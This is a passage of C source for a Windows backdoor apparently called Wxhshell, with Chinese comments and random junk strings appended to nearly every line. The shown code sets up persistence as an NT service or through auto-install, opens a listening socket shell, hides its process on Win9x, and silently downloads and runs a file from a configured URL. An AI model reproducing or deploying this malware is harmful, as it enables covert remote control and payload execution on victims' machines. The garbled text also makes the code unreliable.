ULONG InheritedFromUniqueProcessId; @$EjD3Z-
} PROCESS_BASIC_INFORMATION; 99a\MH`^
DQMPAj.
PROCNTQSIP NtQueryInformationProcess; *3P3M}3~\
NA=#>f+U%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x!`b'U\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A1=_nt)5
=hPG_4#
HANDLE hProcess; \a?K?v|8
PROCESS_BASIC_INFORMATION pbi; [u7 vY@
PqVW'FYe
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B%2L1T=
if(NULL == hInst ) return 0; <_>.!9q
(Hl8U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &0JK38(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y+5"uq<'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .<HC[ls
487YaioB$
if (!NtQueryInformationProcess) return 0; ;m''9z)2
E*OG-r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A3z/Bz4]:#
if(!hProcess) return 0; YWSz84d
.#sz|0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,%[LwmET
J"5jy$30'$
CloseHandle(hProcess); 0hFH^2%UY
|>Z&S=\I)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xv^Sh}\}
if(hProcess==NULL) return 0; W"dU1]
pXve02b1B
HMODULE hMod; G
*ds4R?!
char procName[255]; TNJ<!6
unsigned long cbNeeded; uC- A43utv
wL Y#dm
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %
Oz$_Xe
E2kW=6VO>|
CloseHandle(hProcess); ;*W=c
OI*ZVD)J
if(strstr(procName,"services")) return 1; // 以服务启动 DCt\E/
Jc`Rs"2
return 0; // 注册表启动 \Bt=bu>Z
} gxI&f
~:T3|
// 主模块 Wgav>7!9
int StartWxhshell(LPSTR lpCmdLine) ax4*xxU
{ O+p]3u
SOCKET wsl; MF&3e#mdB
BOOL val=TRUE; UOw~rK
int port=0; |3S'8OeCI
struct sockaddr_in door; NvUu.
ud yAP>
if(wscfg.ws_autoins) Install(); ]{(l;k9=e
~B<97x(X
port=atoi(lpCmdLine); 09G9nu ;&{
XO 0>t{G
if(port<=0) port=wscfg.ws_port; c[&d @
V_Xy2<V
WSADATA data; oDz*~{BHg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o>0O@NE
nrF%wH/5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T_uNF8Bh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r|l53I5
door.sin_family = AF_INET; %I_&Ehu
door.sin_addr.s_addr = inet_addr("127.0.0.1"); f9vcf# 2
door.sin_port = htons(port); ~l(G6/R
_t$lcOT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C5>{Q:.`e'
closesocket(wsl); XI]OA7Zis
return 1; hN& yc
} 03~+-h&n
&1*4%N@'
if(listen(wsl,2) == INVALID_SOCKET) { be&6kG
closesocket(wsl); \P*PjG?R
return 1; P)Z/JHB
} Uc\|X;nkRk
Wxhshell(wsl); EW
~*@H
WSACleanup(); fB _4f{E
^Vl^,@
return 0; `x2fp6
qnabw F
} ^?E^']H)5u
'&RZ3@}+
// 以NT服务方式启动 B1x'5S;Bq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {'h)
{ c zZrP"
DWORD status = 0; I h5/=_n
DWORD specificError = 0xfffffff; $|>6z_3%
5OPS&:
serviceStatus.dwServiceType = SERVICE_WIN32; ?+bTPl;%'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Tf9&,!>V
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JCM)N8~i
serviceStatus.dwWin32ExitCode = 0; UN,<6D3\b
serviceStatus.dwServiceSpecificExitCode = 0; mw:3q6
serviceStatus.dwCheckPoint = 0; )W[KD,0+j
serviceStatus.dwWaitHint = 0; QV`X?m
eA~J4k_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K{,
W_^
if (hServiceStatusHandle==0) return; ^fA3<|
JOA%Y;`<#
status = GetLastError(); yfPCGCOW?
if (status!=NO_ERROR) H%*~l
{ ^ze@#Cp
serviceStatus.dwCurrentState = SERVICE_STOPPED; @uQ%o%Ru6
serviceStatus.dwCheckPoint = 0; r$b:1 C~
serviceStatus.dwWaitHint = 0; !JT<(I2
serviceStatus.dwWin32ExitCode = status; gUksO!7^1
serviceStatus.dwServiceSpecificExitCode = specificError; on]\J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Y1"k]J
return; Hi9 G^Q
} B$K7L'e+-
N5:D8oWWXR
serviceStatus.dwCurrentState = SERVICE_RUNNING; nvU+XCx
serviceStatus.dwCheckPoint = 0; Ytl:YzXCi
serviceStatus.dwWaitHint = 0; @#bBs9@gv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [37f#p
} N2[, aU
L~^e\^sP
// 处理NT服务事件,比如:启动、停止 1.hOE>A%
VOID WINAPI NTServiceHandler(DWORD fdwControl) +9<,3IJe6
{ .a 'ETNY:>
switch(fdwControl) _DNkdS
[[
{ @qg0u#k5
case SERVICE_CONTROL_STOP: ?3]h~(=
serviceStatus.dwWin32ExitCode = 0; NUi{!<
serviceStatus.dwCurrentState = SERVICE_STOPPED; pKOT Qf
serviceStatus.dwCheckPoint = 0; H j>L>6>
serviceStatus.dwWaitHint = 0; d_4n0Kh0
{ qg_>`Bv"a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rg#qSrHp
} 8r7/IGFg
return; /ChJ~g "
case SERVICE_CONTROL_PAUSE: jD&}}:Dj
serviceStatus.dwCurrentState = SERVICE_PAUSED; k#l'ko/X
break; {q5hF5!`)
case SERVICE_CONTROL_CONTINUE: @oe3i
serviceStatus.dwCurrentState = SERVICE_RUNNING; "cnG/{($*
break; NTpz)R
case SERVICE_CONTROL_INTERROGATE: #J%h!#3g
break; v:'P"uU;4
}; 9`nP(~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *X-~TC0
[
} i~v@
[8V(N2
// 标准应用程序主函数 "Qiq/"h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Pe\Z/
{ kphy7>Km
B`RW-14g
// 获取操作系统版本 6E*Zj1KX
OsIsNt=GetOsVer(); &lXx0"-$
GetModuleFileName(NULL,ExeFile,MAX_PATH); u;l6sdo
Apw-7*/
// 从命令行安装 18[?dV
if(strpbrk(lpCmdLine,"iI")) Install(); Nlf&]^4(0
ql%]$`IV6
// 下载执行文件 h=p-0 Mx .
if(wscfg.ws_downexe) { ^)eessZ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N7j]yvE
WinExec(wscfg.ws_filenam,SW_HIDE); 7|{%CckN
} ByB0>G''.
mCEKEX
if(!OsIsNt) { 8KtF<`A)
// 如果时win9x,隐藏进程并且设置为注册表启动 I&Eg-96@
HideProc(); N#2nH1C
StartWxhshell(lpCmdLine); e+]YCp[(
} EmBfiuX
else f:)K
if(StartFromService()) tZJ
9}\r
// 以服务方式启动 0qaG#&!
StartServiceCtrlDispatcher(DispatchTable); H|(*$!~e
else Y/:Q|HnXQ
// 普通方式启动 Bv
|jo&0n
StartWxhshell(lpCmdLine);
K|Ij71
*y[~kWI
return 0; \8C*O{w
} egIS rmL+X
+Qb2LR
]UpHD.Of[t
1W6n[Xg
=========================================== &Hp\("
sDh6 Uk
v J,xz*rc`
J&]
XLr.j
$[^ KCNB
=t>`<T|(
" ZRVF{D??"%
R!M|k%(
#include <stdio.h> &bO